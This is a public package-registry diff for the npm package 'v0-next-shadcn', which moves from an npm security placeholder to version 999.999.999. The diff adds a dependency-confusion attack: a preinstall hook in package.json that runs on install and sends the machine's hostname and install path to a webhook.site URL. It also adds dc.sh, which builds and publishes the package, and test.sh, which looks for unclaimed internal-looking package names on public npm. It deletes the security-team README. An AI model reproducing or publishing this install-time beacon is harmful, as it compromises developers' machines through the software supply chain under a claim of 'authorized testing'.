v0-next-shadcn 0.0.1-security → 999.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of v0-next-shadcn might be problematic. Click here for more details.
- package/dc.sh +17 -0
- package/index.js +1 -0
- package/package.json +6 -3
- package/test.sh +15 -0
- package/v0-next-shadcn/index.js +1 -0
- package/v0-next-shadcn/package.json +9 -0
- package/README.md +0 -5
package/dc.sh
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
# Create and publish v0-next-shadcn (HIGHEST PRIORITY - seen in logs!)
|
|
2
|
+
mkdir v0-next-shadcn && cd v0-next-shadcn
|
|
3
|
+
|
|
4
|
+
cat > package.json << 'EOF'
|
|
5
|
+
{
|
|
6
|
+
"name": "v0-next-shadcn",
|
|
7
|
+
"version": "999.999.999",
|
|
8
|
+
"description": "Security research - authorized testing",
|
|
9
|
+
"main": "index.js",
|
|
10
|
+
"scripts": {
|
|
11
|
+
"preinstall": "node -p \"require('https').get('https://webhook.site/YOUR-UUID?pkg=v0-next-shadcn&h='+require('os').hostname()+'&d='+__dirname+'&t='+Date.now())\""
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
EOF
|
|
15
|
+
|
|
16
|
+
echo "module.exports = {}" > index.js
|
|
17
|
+
npm publish --access public
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "v0-next-shadcn",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "999.999.999",
|
|
4
|
+
"description": "Security research - authorized testing",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node -p \"require('https').get('https://webhook.site/YOUR-UUID?pkg=v0-next-shadcn&h='+require('os').hostname()+'&d='+__dirname+'&t='+Date.now())\""
|
|
8
|
+
}
|
|
6
9
|
}
|
package/test.sh
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
# Extract package names from the logs
|
|
2
|
+
packages=(
|
|
3
|
+
"tw-animate-css"
|
|
4
|
+
"@tailwindcss/oxide"
|
|
5
|
+
"v0-next-shadcn"
|
|
6
|
+
"@vercel/v0-sdk"
|
|
7
|
+
"@v0/components"
|
|
8
|
+
"@v0/cli"
|
|
9
|
+
)
|
|
10
|
+
|
|
11
|
+
# Check if they exist on public npm
|
|
12
|
+
for pkg in "${packages[@]}"; do
|
|
13
|
+
echo "Checking: $pkg"
|
|
14
|
+
curl -s https://registry.npmjs.org/$pkg | jq -r '.error // .name'
|
|
15
|
+
done
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {}
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "v0-next-shadcn",
|
|
3
|
+
"version": "999.999.999",
|
|
4
|
+
"description": "Security research - authorized testing",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node -p \"require('https').get('https://webhook.site/YOUR-UUID?pkg=v0-next-shadcn&h='+require('os').hostname()+'&d='+__dirname+'&t='+Date.now())\""
|
|
8
|
+
}
|
|
9
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=v0-next-shadcn for more information.
|